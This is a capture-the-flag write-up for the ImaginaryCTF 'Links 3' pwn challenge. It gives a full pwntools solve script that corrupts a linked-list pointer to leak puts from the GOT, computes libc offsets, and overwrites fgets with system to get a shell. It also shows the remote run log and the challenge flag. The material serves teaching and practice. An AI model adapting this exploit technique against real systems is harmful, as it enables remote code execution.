And now you guys are exploiting my View Time feature that I put there solely for your convenience? Fine, then - no more time for you!
Solution
I'll keep this short; since Links 2, the view_time function has been removed. We no longer have system in the GOT, but that doesn't matter.
As is common practice with stack-based buffer overflows, we can leak any Lib-C function address and then calculate our way back to the base of the binary. From there, we can add any offset we like to get the function of choosing, e.g. libc.system or a string, e.g. libc."/bin/sh".
I chose to leak got.puts, when run against the server it leaks 0x7fbfd373eed0. Once we get an address of a known function, we can take it to or and provide the function name and address.
We'll get a list of possible Lib-C library versions. The more functions we leak, the more we can narrow down the search.
In this case, the correct version was libc6_2.35-0ubuntu3_amd64, so we plug in the correct offsets.
libc = puts - 0x80ed0
system = libc + 0x50d60
Running the binary, we get a shell.
python exploit.py REMOTE puzzler7.imaginaryctf.org 2998
[+] Opening connection to puzzler7.imaginaryctf.org on port 2998: Done
[*] leaked got_puts: 0x7f470992eed0
[*] got_system: 0x7f47098fed60
[*] Switching to interactive mode
What data do you want to write to this element?
>>> $ cat flag.txt
ictf{dammit_I'm_never_gonna_mix_up_64_and_0x64_again_it's_cost_me_three_flags_already}
note: If this write-up didn't make much sense, review Links 1 and Links 2 write-ups first 🙂
Solve Script
from pwn import *
# Allows you to switch between local/GDB/remote from terminal
def start(argv=[], *a, **kw):
if args.GDB: # Set GDBscript below
return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
elif args.REMOTE: # ('server', 'port')
return remote(sys.argv[1], sys.argv[2], *a, **kw)
else: # Run locally
return process([exe] + argv, *a, **kw)
# Specify GDB script here (breakpoints etc)
gdbscript = '''
init-pwndbg
break write_data
continue
'''.format(**locals())
# Binary filename
exe = './links3'
# This will automatically get context arch, bits, os etc
elf = context.binary = ELF(exe, checksec=False)
# Change logging level to help with debugging (error/warning/info/debug)
context.log_level = 'info'
# ===========================================================
# EXPLOIT GOES HERE
# ===========================================================
# Start program
io = start()
# View time (populate system() in GOT)
io.sendlineafter(b'>>>', b'3')
# Add 5 elements to list
for i in range(5):
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', str(i).encode())
io.sendlineafter(b'>>>', b'CHUNK_' + str(i).encode())
# Overflow element pointer with got.system address
# This is because we need libc leak for x64 stack align
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'3')
# Overwrite the link to point to GOT entry, 0x51 for next chunk size to keep list intact
io.sendlineafter(b'>>>', (b'\x00' * 64) + flat([elf.got.puts, 0x51]))
# View list (leak libc.puts() address)
io.sendlineafter(b'>>>', b'1')
io.recvuntil(b'3: ')
puts = unpack(io.recv()[4:10].ljust(8, b'\x00'))
info("leaked got_puts: %#x", puts)
# libc6_2.35-0ubuntu3_amd64 - https://libc.rip/
libc = puts - 0x80ed0
system = libc + 0x50d60
info("got_system: %#x", system)
# Modify element in list
io.sendline(b'2')
io.sendlineafter(b'>>>', b'1')
# Overwrite the link to point to GOT entry, 0x51 for next chunk size to keep list intact
io.sendlineafter(b'>>>', b'/bin//sh' + (b'\x00' * 56) + flat([elf.got.fgets, 0x51]))
# Add element to list
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'2')
# Overwrite got.fgets with system
io.sendlineafter(b'>>>', flat(system))
# See if we've got a shell
io.sendlineafter(b'>>>', b'2')
io.sendlineafter(b'>>>', b'1')
# Got Shell?
io.interactive()
